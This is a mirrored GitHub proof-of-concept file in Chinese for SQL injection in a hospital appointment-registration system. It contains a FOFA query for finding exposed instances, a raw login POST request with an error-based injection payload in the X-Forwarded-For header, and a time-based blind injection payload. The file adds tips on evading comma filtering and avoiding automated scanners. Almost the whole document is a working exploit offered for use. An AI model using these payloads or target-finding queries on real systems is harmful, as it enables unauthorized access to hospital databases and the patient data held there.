mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 22:14:15 +00:00
19 lines
1.0 KiB
Markdown
19 lines
1.0 KiB
Markdown
|
## 医院挂号系统SQL注入
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
```
|
|||
|
|
body="res/img/ht_box_back.gif" || body="/res/img/ht_box_top.gif" || body="/res/img/ht_box_bottom.gif" || body="dom_loaded.load(init);"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
POST /m/login.php?op=login HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
x-forwarded-for: "127.0.0.1 ' and exists(select * from xxxxx)-- 123"
|
|||
|
|
|
|||
|
|
username=admin&password=admin&vcode=4997&to=&vcode_hash=03b498138c14b2d0515b5438808d6604
|
|||
|
|
```
|
|||
|
|
此注入为insert注入，千万别用sqlmap或其他自动化工具进行扫描。上面的payload: ' and exists(select * from xxxxx)-- 123 可在响应里面直接报错数据库名，各大公益收录平台都认。如果想继续利用，可参考盲注payload:' and CASE WHEN ((select database()) like 'z%') THEN (sleep(5)) ELSE 2 END-- wUwJ 使用此进行手动盲注。 此系统会过滤逗号，逗号后面的sql不会执行，想研究的师傅需要自行研究一下。
|